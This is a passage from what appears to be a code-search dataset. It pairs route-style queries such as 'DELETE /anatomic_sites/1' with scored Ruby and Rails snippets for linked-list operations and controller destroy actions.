])\n \n end\n end", "title": "" }, { "docid": "1f4f56763b2fcc1b025de555d5dde681", "score": "0.49238434", "text": "def add_node(data)\n if @head.nil?\n add_first_node(data)\n else\n new_node = Node.new(data, nil)\n @tail.next = new_node\n @tail = new_node\n end\n # puts \"Added node with value: #{data}\"\n end", "title": "" }, { "docid": "8796274d34ed97e70791984065f56a73", "score": "0.49223742", "text": "def add_last(data)\n @head.nil? ? @head = Node.new(data, @head) : add_last_helper(data, @head)\n end", "title": "" }, { "docid": "c50208d45e70123e70951db408388d32", "score": "0.49194902", "text": "def nil2undef(data)\n return :undef if data.nil?\n if data.is_a? Array\n data.each_with_index do |value, index|\n data[index] = nil2undef value\n end\n data\n elsif data.is_a? Hash\n data.keys.each do |key|\n data[key] = nil2undef data[key]\n end\n data\n end\n data\n end", "title": "" }, { "docid": "3df403a4c3d7f8ffe1057b27c712a6e8", "score": "0.4918099", "text": "def add_first_node(data)\n @head = Node.new(data, nil)\n @tail = @head\n end", "title": "" }, { "docid": "54fd2468140681856f40b617e3207618", "score": "0.49176317", "text": "def push data\n node = Node.new data\n\n if self.head == nil\n self.head = node\n node.next = node\n else\n temp = self.head\n \n while temp.next != self.head\n temp = temp.next\n end\n\n temp.next = node\n node.next = self.head\n self.head = node\n end\n\n self\n end", "title": "" }, { "docid": "713e13cc28bb9c1a15f4859ea028440a", "score": "0.49047875", "text": "def empty?\n return @node == nil\n end", "title": "" }, { "docid": "84ad76abf82265d593549dea7c16712c", "score": "0.4904613", "text": "def push data\n node = Node.new data\n if length == 0\n self.tail = node\n end\n\n node.next = self.head\n self.head = node\n self.length += 1\n end", "title": "" }, { "docid": "8601746d98d1273818ba7fbaf74c581f", "score": "0.4902459", "text": "def create_blank(data)\n Types.check( binding, { :data => String } )\n\n case data\n when /^([^`]*)`([^`]*)`([^`]*)$/\n then \n placeholder, solution, validator = $1, $2, $3\n\n if validator == ''\n then validator = 'exact'\n end\n\n Blank.new(placeholder, solution, validator)\n else raise \"Invalid blank specification: #{data}\"\n end\n end", "title": "" }, { "docid": "dd11f03c9d2599ebc4ae2fc36bbdbe49", "score": "0.49017346", "text": "def empty?\n head.data.nil?\n end", "title": "" }, { "docid": "f149aed7b8f0267c8e09bad7d529b75a", "score": "0.4896552", "text": "def empty?\n @data.empty?\n end", "title": "" }, { "docid": "f149aed7b8f0267c8e09bad7d529b75a", "score": "0.4896552", "text": "def empty?\n @data.empty?\n end", "title": "" }, { "docid": "f66050b053a67f130f406a52881b576f", "score": "0.489365", "text": "def empty?\n data.empty?\n end", "title": "" }, { "docid": "f66050b053a67f130f406a52881b576f", "score": "0.489365", "text": "def empty?\n data.empty?\n end", "title": "" }, { "docid": "349ec90d95704677fa2baba1f5424283", "score": "0.48919657", "text": "def initialize_defaults\n self.data = {} if data.blank?\n end", "title": "" }, { "docid": "2fd69229405f72ae474442764736ad30", "score": "0.48911226", "text": "def add_first(data)\n new_node = Node.new(value, @head)\n @head = new_node\n end", "title": "" }, { "docid": "515420a087e4cc8ced6747bd18aa7dc3", "score": "0.48910904", "text": "def delete(data)\n\n # used to determine what to output at end: argument or nil.\n deleted = nil\n\n # removes tail if it has data, loop for cases where multiple\n # existences of data exist near tail.\n #\n while @tail\n if @tail.data == data\n @tail = @tail.head\n @size -= 1\n deleted = true\n else\n break\n end\n end\n\n # cursor vars to track nodes on the left\n holder = nil\n current = @tail\n\n # loop through LinkedList and remove data if it exists\n while current\n\n # if data exists, don't move holder to the right, i.e. to the\n # node with the data, which was deleted.\n #\n if current.data == data\n holder.head = current.head # remove node\n @size -= 1\n deleted = true\n else\n # move holder one to the right\n holder = current\n end\n\n # move cursor one to the right\n current = current.head\n end\n\n data if deleted\n end", "title": "" }, { "docid": "c56681ba30cfdb4553c3b4875ee886c1", "score": "0.4889629", "text": "def put(data)\n enter(canonical(data))\n nil\n end", "title": "" }, { "docid": "bb976cd7740f82ad708109be4c1a630e", "score": "0.48872602", "text": "def remove_empty_default_nodes(jsondata)\n\n index_node = 0\n jsondata[\"site\"][\"node\"].each do | node |\n if node[\"node_name\"] =~ /^default.*/\n if node[\"tools\"].length <= 0\n jsondata[\"site\"][\"node\"].delete_at(index_node)\n end\n end\n index_node = index_node + 1\n end\n return jsondata\n end", "title": "" }, { "docid": "87f79c97be66ec841de06f73e0c09b82", "score": "0.48852813", "text": "def add_element(key, value = nil, &block)\n key_node = Niceogiri::XML::Node.new(key)\n @xml.add_child(key_node)\n if block\n block.call(key_node)\n else\n key_node.content = value if value\n end\n key_node\n end", "title": "" }, { "docid": "d7c557bab5a83a74389b0a26b0c79398", "score": "0.48833734", "text": "def deep_clean(data)\r\n proc = Proc.new { |k, v|\r\n if v.kind_of?(Hash) && !v.empty?\r\n v.delete_if(&proc)\r\n nil\r\n end\r\n v.nil? || v.empty?\r\n }\r\n hash.delete_if(&proc)\r\n end", "title": "" }, { "docid": "6d35938362123bf90fa0424ae538d6a6", "score": "0.4878829", "text": "def add_first(data)\n new_node = Node.new(data, nextNode = @head)\n @head = new_node\n end", "title": "" }, { "docid": "8d4dec122da0ba5f0217e6810340104e", "score": "0.4875406", "text": "def initialize\n @first_node = nil\n end", "title": "" }, { "docid": "d3805fd49677254ca6e1e852a26f5345", "score": "0.4873024", "text": "def pluralize_empty_collection_node_key!\n self.key = transform_to_empty_key(pluralize_key)\n end", "title": "" }, { "docid": "217b37ca20f717a552c28b4fe5d76442", "score": "0.4872239", "text": "def initialize(data=nil)\n @first = QueueNode.new data unless data.nil?\n @first ||= nil\n @last = @first\n end", "title": "" }, { "docid": "fd3259752ffa4b66c5bc5da784e711f0", "score": "0.48649874", "text": "def blank!\r\n @node.xpath(\".//w:t\").each {|t| t.content = '' }\r\n end", "title": "" } ]
0951591747ad2ad5ccb5b762d2d7a5d2
DELETE /anatomic_sites/1 DELETE /anatomic_sites/1.json
[ { "docid": "03c7f6e3e87a6131ede5a317069c8029", "score": "0.7232125", "text": "def destroy\n @anatomic_site.destroy\n respond_to do |format|\n format.html { redirect_to anatomic_sites_url, notice: 'Anatomic site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "34264605c47edda6ffe32df87c7a7266", "score": "0.69233125", "text": "def delete\n delete_from_server single_url\n end", "title": "" }, { "docid": "02617ffdb39bec0808fea8f88e312167", "score": "0.6888771", "text": "def destroy\n @orbituarysite = Orbituarysite.find(params[:id])\n @orbituarysite.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "689d5a07a403c4b765ba178e4aff08a3", "score": "0.68731767", "text": "def delete\n client.delete(\"/#{id}\")\n end", "title": "" }, { "docid": "fb4761aceb1bab56f59ebfd3e734f79a", "score": "0.67970634", "text": "def destroy\n @site = Site.find(id_from_params)\n\n respond_to do |format|\n if current_user.account.sites.delete(@site)\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "179ff0053e8f4f967cb3d92206094cf0", "score": "0.6753271", "text": "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "title": "" }, { "docid": "00da5f59fd569e59942951ef04446a07", "score": "0.67440706", "text": "def destroy\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "aef208fcee109a9876b49412a63f3cd7", "score": "0.67124397", "text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "aef208fcee109a9876b49412a63f3cd7", "score": "0.67124397", "text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "aef208fcee109a9876b49412a63f3cd7", "score": "0.67124397", "text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "aef208fcee109a9876b49412a63f3cd7", "score": "0.67124397", "text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "aef208fcee109a9876b49412a63f3cd7", "score": "0.67124397", "text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0ab6a89dd42708be75b2d1eafe367317", "score": "0.67034656", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0ab6a89dd42708be75b2d1eafe367317", "score": "0.67034656", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0ab6a89dd42708be75b2d1eafe367317", "score": "0.67034656", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0ab6a89dd42708be75b2d1eafe367317", "score": "0.67034656", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0ab6a89dd42708be75b2d1eafe367317", "score": "0.67034656", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4c1c164b581dbae14285797e584e8fb7", "score": "0.6685066", "text": "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "title": "" }, { "docid": "0510ff116130fcd3a9a5ccf635cdead2", "score": "0.6684639", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "c798e53ce76386f0d9a592d1b9315a9c", "score": "0.6679525", "text": "def destroy\n @site = current_user.sites.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url, :notice => t('sites.destroy.completed') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "33b888c8f2b033bb54789de80c57d692", "score": "0.6678088", "text": "def delete\n client.delete(url)\n @deleted = true\nend", "title": "" }, { "docid": "20a8c1d5e7c57c529a8434e87444a27d", "score": "0.6659118", "text": "def destroy\n @site = Site.find_by_site(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8f4e48a052dfbdbf5b3a0e84c67be1e8", "score": "0.6658003", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.json { head :ok }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "72099223d5f8bd83dd09e8179aaa01db", "score": "0.6656706", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "1ff88ea240165dc5b7053b7545ddeaac", "score": "0.66469216", "text": "def destroy\n @site = current_user.sites.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { flash_and_redirect(\"successfully deleted\", sites_url) }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "309869a82a4aa03159c6cf378da80802", "score": "0.6620008", "text": "def destroy\n @subsite = Subsite.find(params[:id])\n @subsite.destroy\n\n respond_to do |format|\n format.html { redirect_to subsites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d1f0a8e8c97a0438790f1ddeeecaca29", "score": "0.66062874", "text": "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "title": "" }, { "docid": "e90cba045a2fc8265ccf44f581e89d11", "score": "0.6575371", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_path, notice: 'Site was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3ce8850a796af31f513971c4f411a707", "score": "0.6569333", "text": "def destroy\n authorize!(@site)\n\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b5506edf5065459a2f3100610cd98bd3", "score": "0.65554136", "text": "def destroy\n return unless authorize_resource(@site, DELETE_SITE)\n\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_path, notice: I18n.t('sites.destroy.success') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "645193d5dcd2169e503409858aa7413a", "score": "0.65523744", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "65882609f98cadcb165eded2e2ddc17c", "score": "0.6539201", "text": "def destroy\n \n keystone.delete_tenant(keystone.get_tenant(params[:id])[:id])\n\n respond_to do |format|\n format.html { redirect_to tenants_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "df27c7251eadc1e75bbc5b7c3d0f1dde", "score": "0.6518216", "text": "def destroy\n @optimized_site.destroy\n respond_to do |format|\n format.html { redirect_to optimized_sites_url, notice: 'Optimized site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "12649d62912dc561d03cb528b51fe007", "score": "0.6516348", "text": "def delete\n api_client.delete(url)\n end", "title": "" }, { "docid": "ce569c8b4c49809134541f65a554648a", "score": "0.651621", "text": "def destroy\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_sites_url, notice: 'Site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a9cdf07abd2f7a88bb3bcc4c652167b8", "score": "0.6512241", "text": "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "title": "" }, { "docid": "60e65a55c51cfb39d80b2470ecd8f45d", "score": "0.65041685", "text": "def destroy\n @site_config = SiteConfig.find(params[:id])\n @site_config.destroy\n\n respond_to do |format|\n format.html { redirect_to site_configs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "15019f65fcb2dc09a625318cab419063", "score": "0.6502085", "text": "def delete\n client.delete(url)\n @deleted = true\n end", "title": "" }, { "docid": "f7197aeda4cfbcc34d3e59863ac8dabb", "score": "0.6478281", "text": "def destroy\n @study_site.destroy\n respond_to do |format|\n format.html { redirect_to study_sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cc68913e85dbd20d3a7b857045af6643", "score": "0.6464145", "text": "def destroy\n @site = Site.find(params[:site_id])\n @visit = Visit.find(params[:id])\n @visit.destroy\n\n respond_to do |format|\n format.html { redirect_to site_visits_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2e4dcef7eb8ca94b69439c2d3d75be55", "score": "0.64427733", "text": "def destroy\n @microsite.destroy\n respond_to do |format|\n format.html { redirect_to microsites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dfdfcbb7fc9dc8bb0179a5a59a73cbe4", "score": "0.64335394", "text": "def delete_analysis(analysis_id); rest_delete(\"#{link('analyses')}/#{analysis_id}\"); nil; end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.6428547", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.6428547", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.6428547", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.6428547", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "337a62321bca71f9eec7180affacffbd", "score": "0.6428176", "text": "def remove\n @site = Site.find(params[:id])\n @study.sites.delete(@site)\n\n respond_to do |format|\n format.xml { head :ok }\n format.js\n end\n end", "title": "" }, { "docid": "bee8ed2203c7b98e1bf61bce0a543f4d", "score": "0.64257115", "text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url, notice: 'Site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bee8ed2203c7b98e1bf61bce0a543f4d", "score": "0.64257115", "text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url, notice: 'Site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bee8ed2203c7b98e1bf61bce0a543f4d", "score": "0.64257115", "text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url, notice: 'Site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bee8ed2203c7b98e1bf61bce0a543f4d", "score": "0.64257115", "text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url, notice: 'Site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bee8ed2203c7b98e1bf61bce0a543f4d", "score": "0.64257115", "text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url, notice: 'Site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bee8ed2203c7b98e1bf61bce0a543f4d", "score": "0.64257115", "text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url, notice: 'Site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bee8ed2203c7b98e1bf61bce0a543f4d", "score": "0.64257115", "text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url, notice: 'Site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "25a5e4699139bbfdbc0a1b63bea55aab", "score": "0.642276", "text": "def destroy\n @site_url.destroy\n respond_to do |format|\n format.html { redirect_to site_urls_url, notice: \"Site url was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "79da69c5c3f38e4b9f88c9343b9ab2e6", "score": "0.6418107", "text": "def destroy\n @site = Site.find params[:id]\n return unless authorize_resource(@site, DELETE_SITE)\n\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_path, notice: 'Site was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "599fcc5cd73937e39dc43dcea535ba3a", "score": "0.6417244", "text": "def destroy\n @early_vote_site = EarlyVoteSite.find(params[:id])\n @early_vote_site.destroy\n\n respond_to do |format|\n format.html { redirect_to early_vote_sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d455e3c29ef55ebd3fac768863abfafc", "score": "0.6413842", "text": "def destroy\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "eda8d0cad950f3dc8ca6212a1ac6a126", "score": "0.6412139", "text": "def delete\n Iterable.request(conf, base_path).delete\n end", "title": "" }, { "docid": "5f261e1548f826f14c5e3a3ec2ae8aa5", "score": "0.6410499", "text": "def destroy\n @sitecity = Sitecity.find_by_url(params[:id])\n @sitecity.destroy\n\n respond_to do |format|\n format.html { redirect_to sitecities_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0c33fd0d1666d6e95de11bd9a8362fe4", "score": "0.64083076", "text": "def destroy\n @visit.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "09c5251bb18ccb6c97f91ed73f242ef8", "score": "0.6402354", "text": "def destroy\n @site_setup = SiteSetup.find(params[:id])\n @site_setup.destroy\n\n respond_to do |format|\n format.html { redirect_to site_setups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bb53fd7e094a4d63dddc91fbea20ed0f", "score": "0.6391492", "text": "def destroy\n #m_@site.destroy\n m_site = MSite.find(params[:id].to_i)\n m_site.del_flg = 1\n m_site.save\n\n respond_to do |format|\n format.html { redirect_to '/m_sites', notice: 'Site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6fd402a2dbdaf2b6e3d28f1fba2da13c", "score": "0.63790977", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6fd402a2dbdaf2b6e3d28f1fba2da13c", "score": "0.63790977", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6fd402a2dbdaf2b6e3d28f1fba2da13c", "score": "0.63790977", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6fd402a2dbdaf2b6e3d28f1fba2da13c", "score": "0.63790977", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6fd402a2dbdaf2b6e3d28f1fba2da13c", "score": "0.63790977", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6fd402a2dbdaf2b6e3d28f1fba2da13c", "score": "0.63790977", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6fd402a2dbdaf2b6e3d28f1fba2da13c", "score": "0.63790977", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6fd402a2dbdaf2b6e3d28f1fba2da13c", "score": "0.63790977", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "dccab040f66dc06b139bb0ef1c591ca4", "score": "0.6370958", "text": "def destroy\n @sitio = Sitio.find(params[:id])\n @sitio.destroy\n\n respond_to do |format|\n format.html { redirect_to sitios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "212c015c1a5455e751f42d0830831c4f", "score": "0.6367716", "text": "def destroy\n @ooh_site.destroy\n respond_to do |format|\n format.html { redirect_to ooh_sites_url, notice: 'Ooh site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "82ec189bdce2de5d528b27e0ec732a11", "score": "0.63630986", "text": "def delete; rest_delete(link('self')); end", "title": "" }, { "docid": "82ec189bdce2de5d528b27e0ec732a11", "score": "0.63630986", "text": "def delete; rest_delete(link('self')); end", "title": "" }, { "docid": "d9f1eb9e6a5e9e929a5d2b3585ccb17d", "score": "0.6359504", "text": "def delete_json(url)\n JSON.parse(delete(url, :json, :json))\n end", "title": "" }, { "docid": "3c30c233adacf712302eb66277a4ae3f", "score": "0.63536227", "text": "def delete(url)\n do_request(\"delete\", url)\n end", "title": "" }, { "docid": "025b202ae4e5d20f631ff92c3c6989d7", "score": "0.634737", "text": "def destroy\n @server.destroy\n respond_to do |format|\n format.html { redirect_to [:admin, @site] }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ba67ebd85114998e01be10599c8943ca", "score": "0.6343011", "text": "def delete(path)\n RestClient.delete request_base+path\n end", "title": "" }, { "docid": "7070e4dc3849fac5852c0271c9b6d7cc", "score": "0.63345885", "text": "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "title": "" }, { "docid": "98597e7db5474911773635bedbf3ae41", "score": "0.63268477", "text": "def destroy\n @installation_site = InstallationSite.find(params[:id])\n @installation_site.destroy\n\n respond_to do |format|\n format.html { redirect_to installation_sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e87bcdd208d9927a7c6c0baf8cea8380", "score": "0.6322441", "text": "def destroy\n @mysite.destroy\n respond_to do |format|\n format.html { redirect_to mysites_url, notice: 'Mysite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7a5eea7c7a07ce3e7f95fa50802d596e", "score": "0.63079536", "text": "def delete path\n make_request(path, \"delete\", {})\n end", "title": "" }, { "docid": "1652c0fa213623ff25a49e79e26591d9", "score": "0.63056207", "text": "def deleteSite _args\n \"deleteSite _args;\" \n end", "title": "" }, { "docid": "a423f9b7d251fea5927ec8b48e0aace5", "score": "0.62999356", "text": "def destroy\n @supplysite = Supplysite.find(params[:id])\n @supplysite.destroy\n\n respond_to do |format|\n format.html { redirect_to supplysites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a7f4b55eaa3c0374a6acc0dcc5fdba15", "score": "0.6299335", "text": "def destroy\n @baton = Baton.find(params[:id])\n @baton.destroy\n\n respond_to do |format|\n format.html { redirect_to batons_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "14ff991ea3d32ecc7ec80628fa21fbce", "score": "0.6296995", "text": "def destroy\n @admin_site_structure.destroy\n respond_to do |format|\n format.html { redirect_to admin_site_structures_url, notice: 'Site structure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9cbd493967821960478c95b22fe07a96", "score": "0.6291695", "text": "def delete(splat)\n bad_request if splat.empty?\n _delete resolve_uri(splat[0])\n end", "title": "" }, { "docid": "3d0d6d570da8e2c4421c72e899f5a0a6", "score": "0.62900794", "text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to xmt_press_sites_url, notice: '站点删除成功.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8e3b6114441a7f21fd10a5ebebc98244", "score": "0.6289666", "text": "def deleteEntityWebsite( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/website\",params)\n end", "title": "" }, { "docid": "136f168e072f06484496b12977a16752", "score": "0.6287891", "text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n \n @sites = Site.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html { redirect_to sites_url, flash[:info]='Site was successfully deleted.' }\n format.js { flash[:info]='Site was successfully deleted.' }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "8e0037eff42e7d7a87bdab30e20ada4f", "score": "0.6282495", "text": "def destroy\n @jobsite.destroy\n respond_to do |format|\n format.html { redirect_to jobsites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9d4f3f17f19a6b39faa5c339ae30e9e0", "score": "0.6276084", "text": "def delete_array_for_tenant(args = {}) \n delete(\"/tenants.json/#{args[:tenantId]}/arrays/#{args[:arrayId]}\", args)\nend", "title": "" }, { "docid": "41b093648918b267c851b706c66117b1", "score": "0.6271217", "text": "def destroy\n @student_site.destroy\n respond_to do |format|\n format.html { redirect_to student_sites_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "157fe8abaaec5b1279f321e52c86bc71", "score": "0.6270011", "text": "def delete!\n Recliner.delete(uri)\n end", "title": "" }, { "docid": "ed3bb7fcac3356b7e154d928735417ed", "score": "0.6269098", "text": "def destroy\n @site_appraisal.destroy\n respond_to do |format|\n format.html { redirect_to site_appraisals_url, notice: \"Site appraisal was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a6660f8f62027412929d7b78d182281c", "score": "0.6263887", "text": "def delete endpoint\n do_request :delete, endpoint\n end", "title": "" }, { "docid": "51f088a23354109d8ab5db17f99b2aff", "score": "0.6259391", "text": "def destroy\n # return if need_login true, true\n @site = Site.find params[:id]\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "43cf844604f07d35ad12782b90fd6db2", "score": "0.62593377", "text": "def destroy\n @trial_site.destroy\n respond_to do |format|\n format.html { redirect_to trial_sites_url, notice: 'Trial site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ad0c36135de0490ca71e281a94cd49f9", "score": "0.6250339", "text": "def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end", "title": "" }, { "docid": "031b472b683f9804db3e81d35d6fdd51", "score": "0.6246006", "text": "def destroy\n official = Official.find(params[:id])\n official.destroy\n head 204\n end", "title": "" } ]
ec32a618b8891e0aa3ec89ad5172146c
GET /api/nouns/1 GET /api/nouns/1.json
